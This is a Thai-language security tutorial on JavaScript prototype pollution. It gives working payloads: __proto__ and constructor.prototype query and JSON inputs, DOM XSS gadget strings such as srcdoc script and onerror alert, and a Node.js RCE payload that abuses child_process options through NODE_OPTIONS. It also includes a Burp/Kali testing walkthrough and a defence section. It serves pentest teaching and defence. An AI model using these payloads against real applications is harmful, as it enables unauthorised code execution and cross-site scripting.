Prototype Pollution
Prototype Pollution เป็นช่องโหว่เฉพาะ JavaScript ที่ผู้โจมตีแก้ prototype ของ Object ส่วนกลาง (Object.prototype) ทำให้ทุก object ในโปรแกรมสืบทอด property ที่ใส่เข้าไป ตัว pollution เองไม่อันตราย จนกว่าจะมี 'gadget' — โค้ดในแอปที่อ่าน property นั้นแล้วใช้ในทางอันตราย นำไปสู่ DOM XSS (client), auth bypass, หรือ RCE (Node.js) บทนี้ครอบคลุมทั้ง client-side และ server-side gadget
1. หลักการ — prototype chain
ใน JS ทุก object สืบทอด property จาก prototype ของมัน object literal ทั่วไปชี้ไป Object.prototype เมื่ออ่าน property ที่ object ไม่มี engine จะไต่ prototype chain ขึ้นไปหา ถ้าโค้ด merge/clone/set object จาก input ผู้ใช้แบบ recursive โดยไม่กรอง key พิเศษอย่าง __proto__, constructor, prototype ผู้โจมตีจะเขียน property ลง Object.prototype ได้ ซึ่งทุก object จะสืบทอดไปทันที — เปลี่ยนพฤติกรรมทั้งแอป
// setter ที่ไม่กรอง key (เช่นใน deep merge)
function merge(dst, src) {
for (const k in src) {
if (typeof src[k] === 'object' && src[k] !== null) {
if (!dst[k]) dst[k] = {};
merge(dst[k], src[k]); // recurse ลง __proto__ ได้
} else {
dst[k] = src[k];
}
}
}
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'));
// ผลลัพธ์: เขียนลง Object.prototype
({}).isAdmin; // true ← object ว่างเปล่าก็ได้ค่า
'anything'.isAdmin; // true ← สืบทอดกันหมด__proto__ เป็น accessor พิเศษของ Object.prototype ส่วน constructor.prototype เป็นเส้นทางอ้อมไปที่เดียวกัน ใช้เมื่อ __proto__ ถูก block2. Sources — จุดที่ input ไหลเข้า
| Source | รูปแบบ payload | บริบท |
|---|---|---|
| JSON body ที่ถูก merge | {"__proto__":{"x":"y"}} | server-side (Node.js) |
| Query string parser | ?__proto__[x]=y หรือ ?a[__proto__][x]=y | client + server (qs, express) |
| URL hash / fragment | #__proto__[x]=y | client-side (SPA parse hash) |
| Form / urlencoded | __proto__[x]=y | server-side body parser |
| constructor path | {"constructor":{"prototype":{"x":"y"}}} | เมื่อ __proto__ ถูก block |
# JSON (server-side merge)
{"__proto__":{"isAdmin":true}}
{"constructor":{"prototype":{"isAdmin":true}}}
# query string (URL / hash)
?__proto__[isAdmin]=true
?__proto__.isAdmin=true
?a[__proto__][isAdmin]=true
?constructor[prototype][isAdmin]=true
# nested (bypass บาง filter)
?__proto__[__proto__][x]=y3. การตรวจจับ
- 1หาจุดที่แอป merge/extend/clone object จาก input (lodash merge/set/defaultsDeep เก่า, jQuery $.extend(true,...), Object.assign แบบ deep, query parser)
- 2client-side: ยิง ?__proto__[test]=polluted แล้วเปิด DevTools console เช็ค Object.prototype.test
- 3server-side: ส่ง {"__proto__":{"test":"x"}} ใน JSON body แล้วดูพฤติกรรม/error เปลี่ยน หรือ probe gadget ที่รู้
- 4ดู library เวอร์ชันเก่าที่มี CVE prototype pollution (lodash <4.17.12, minimist <1.2.6, jquery <3.4.0, set-value)
- 5ใช้ DOM Invader (Burp browser) เปิด 'Prototype pollution' มันจะ auto-probe source + หา gadget ให้
// หลังส่ง ?__proto__[test]=polluted แล้วโหลดหน้า
Object.prototype.test // "polluted" ← ยืนยันสำเร็จ
({}).test // "polluted"
// ทดสอบ constructor path
// ?constructor[prototype][test2]=1
({}).test2 // "1"4. Client-side gadgets → DOM XSS
gadget ฝั่ง client คือ property ที่ library/โค้ดหน้าเว็บอ่านจาก config object แล้วเอาไปใส่ DOM/สร้าง script เมื่อ property นั้นปกติ 'undefined' แต่ pollution ทำให้มีค่า เราจึงฉีดค่าที่กลายเป็น XSS ได้
# jQuery / template ที่อ่าน options.* ที่ไม่มีค่า default
?__proto__[hitCallback]=alert(1) # Google Analytics gadget
?__proto__[sequential]=x&__proto__[url]=... # บาง lib โหลด script จาก url
# gadget ที่ inject attribute → XSS
?__proto__[src]=data:,alert(1)
?__proto__[srcdoc]=<script>alert(1)</script>
?__proto__[transport_url]=data:,alert(1) # DOMPurify/config gadget
# gadget class-based
?__proto__[html]=<img src=x onerror=alert(1)>5. Server-side gadgets → RCE (Node.js)
ฝั่ง server อันตรายกว่ามาก เพราะ gadget สามารถนำไปสู่ RCE — เมื่อ property ที่ pollute ถูกส่งเป็น option ให้ child_process, template engine, หรือ module loader
| Sink | property ที่ pollute | ผล |
|---|---|---|
| child_process.spawn/exec | shell, NODE_OPTIONS, env | RCE ผ่าน option ที่ inject |
| child_process fork (spawn internal) | __proto__.shell + argv0 | RCE คลาสสิก (PortSwigger lab) |
| template engine (ejs, pug, handlebars) | outputFunctionName, compileDebug | SSTI → RCE |
| require / module resolution | main, exports paths | โหลด module ที่ควบคุม |
| JSON schema / validation | type coercion | bypass validation / logic |
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/environ"
}
}
// เมื่อแอปเรียก child_process.spawn/fork ภายหลัง
// option เหล่านี้ถูกอ่านจาก Object.prototype → รันโค้ดที่เราคุม
// (เช่น --require ชี้ไฟล์ที่มี payload, หรือ eval ผ่าน env)POST /api/update HTTP/1.1
Content-Type: application/json
{"__proto__":{"json spaces":10}}
# gadget Express: ถ้า pollute "json spaces" สำเร็จ
# → response JSON จะถูก indent 10 space (สังเกตได้จาก body)
# ใช้เป็น oracle ยืนยันว่า server-side pollution ทำงาน โดยไม่ต้อง RCE6. Decision flow
7. ข้อผิดพลาด & troubleshooting
- pollute แล้วไม่มีผล: pollution มี แต่ไม่มี gadget — pollution เดี่ยวๆ ไม่ใช่ impact ต้องหา sink
- ค่าเป็น string ไม่ใช่ boolean: query string ให้ "true" ไม่ใช่ true — gadget ที่ === true จะไม่ trigger; ใช้ JSON body ถ้าต้อง type จริง
- Object.create(null) / Map: object ที่ไม่มี prototype ไม่โดน — sink บางตัวจึงปลอดภัยอยู่แล้ว
- pollution ถูก reset ต่อ request (server): Node process เดียวจำ pollution ข้าม request จนกว่า restart — แต่ถ้า worker หลายตัว/round-robin อาจไม่โดน worker เดิม
- __proto__ ถูก strip โดย body parser: ลอง constructor.prototype path หรือ nested
- ลืมว่า framework sanitize: Express/qs ใหม่ป้องกัน __proto__ บางส่วน ตรวจเวอร์ชัน
8. การป้องกัน
- Object.freeze(Object.prototype) — กันเขียนทับ prototype (ระวัง break lib บางตัว)
- กรอง key
__proto__,constructor,prototypeก่อน merge/set - ใช้
Object.create(null)หรือMapสำหรับ dictionary ที่รับ input (ไม่มี prototype chain) - ใช้
JSON.parsereviver หรือ schema validation (ajv) ที่ปฏิเสธ key อันตราย - อัปเดต library ที่มี CVE (lodash, minimist, set-value, jquery) เป็นเวอร์ชันที่แก้แล้ว
- หลีกเลี่ยง deep merge จาก user input; ถ้าจำเป็นใช้ lib ที่ freeze/กรอง (เช่น lodash รุ่นแก้แล้ว)
- ตั้ง
--disable-proto=deleteflag ของ Node เพื่อเอา __proto__ ออก
9. Quick Reference
- เฉพาะ JS/Node.js; เกิดจาก merge/clone/set ที่ไม่กรอง __proto__
- payload: {"__proto__":{"k":"v"}} หรือ constructor.prototype
- query: ?__proto__[x]=1 / ?constructor[prototype][x]=1
- ยืนยัน client: เช็ค ({}).x ใน console; server: json spaces oracle
- ต้องมี gadget ถึงมี impact: DOM XSS (client) / RCE (server)
- server RCE: child_process (shell/NODE_OPTIONS/argv0), template engine
- เครื่องมือ: DOM Invader (client), วิเคราะห์ source (server)
- bypass filter: constructor path, nested __proto__[__proto__]
- ป้องกัน: freeze prototype, กรอง key, Object.create(null)/Map, อัปเดต lib
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอเว็บที่รับ JSON body หรือ query แบบซับซ้อน (มี object ซ้อน) มีแค่ Kali เปล่าๆ ไล่หา prototype pollution ทีละขั้น
- 1เปิด Burp Suite's Chromium (Burp → Proxy → Open Browser) เพื่อใช้ DOM Invader ได้ทันที
- 2ใน Burp settings เปิด 'DOM Invader' แล้ว toggle 'Prototype pollution' ให้ทำงาน
- 3เข้าเว็บเป้าหมายผ่าน browser ตัวนั้น แล้วปล่อยให้ DOM Invader สแกน source อัตโนมัติ (มันจะ inject __proto__ ให้เอง)
- 4ถ้าไม่มี DOM Invader ให้ทดสอบมือ: เปิด URL พร้อม ?__proto__[test]=polluted แล้วเปิด DevTools Console
- 5พิมพ์ใน console: Object.prototype.test — ถ้าได้ค่า 'polluted' กลับมา = pollution สำเร็จฝั่ง client
- 6ถ้า __proto__ ถูก block ลอง ?constructor[prototype][test]=polluted แทน
- 7สำหรับ server-side: ส่ง JSON body {"__proto__":{"json spaces":10}} ไป endpoint ที่ merge object แล้วดูว่า response JSON ถูก indent เปลี่ยนไหม (Express oracle)
- 8ถ้ายืนยัน pollution ได้ ให้หา gadget: บน client ลองพวก hitCallback/src/srcdoc, บน server ดูว่ามีการเรียก child_process/template engine ต่อไหม
- 9บันทึกทุกขั้นเป็นหลักฐาน เพราะ pollution เดี่ยวๆ ไม่มี impact จนกว่าจะเจอ gadget จริง
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ตรวจ client-side pollution + หา gadget อัตโนมัติ | Burp's Chromium (DOM Invader) | เปิดใช้งานใน Burp settings | - |
| Proxy/intercept request | Burp Suite Community | - | - |
| ทดสอบ payload ใน console | Firefox/Chromium DevTools | - | - |
| ส่ง JSON payload ทดสอบ server-side | curl -X POST | - | - |
| ตรวจ library เวอร์ชันที่มี CVE | - | retire.js (npm install -g retire) | - |
| encode/สร้าง payload nested | - | - | CyberChef |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้